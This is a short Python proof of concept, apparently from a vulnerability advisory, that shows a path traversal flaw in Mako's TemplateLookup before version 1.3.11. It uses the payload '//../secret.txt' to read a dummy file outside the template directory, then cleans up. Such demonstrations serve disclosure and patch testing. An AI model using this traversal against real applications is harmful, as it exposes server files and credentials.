Vulnerable code sample

import os
from mako.lookup import TemplateLookup
from mako import exceptions

# This code requires a vulnerable version of Mako (e.g., pip install mako==1.3.10)

# --- Setup a vulnerable environment ---
# Create a templates directory which is the intended root
if not os.path.exists("templates"):
    os.makedirs("templates")

# Create a secret file outside the intended template directory
with open("secret.txt", "w") as f:
    f.write("THIS IS SENSITIVE FILE CONTENT")

# --- Vulnerable Application Code ---
# An application creates a TemplateLookup, intending to restrict file access
# to the 'templates' directory.
lookup = TemplateLookup(directories=['templates'])

# An attacker supplies a malicious URI. In a real application, this might
# come from an HTTP request path or query parameter.
malicious_uri = '//../secret.txt'

try:
    # In Mako versions prior to 1.3.11, get_template() does not properly
    # sanitize the path. It strips the leading slashes and joins the path,
    # allowing the '..' to traverse up from the 'templates' directory.
    leaked_template = lookup.get_template(malicious_uri)

    # When the "template" is rendered, the content of the arbitrary file is returned.
    print("--- Attempting to render content from outside the templates directory ---")
    print(leaked_template.render())
    print("\n[SUCCESS] Vulnerability exploited. The content of secret.txt was leaked.")

except exceptions.TopLevelLookupException:
    print("\n[INFO] Template not found. The Mako version may be patched (>= 1.3.11).")
except Exception as e:
    print(f"An unexpected error occurred: {e}")

finally:
    # --- Cleanup ---
    if os.path.exists("secret.txt"):
        os.remove("secret.txt")
    if os.path.exists("templates"):
        os.rmdir("templates")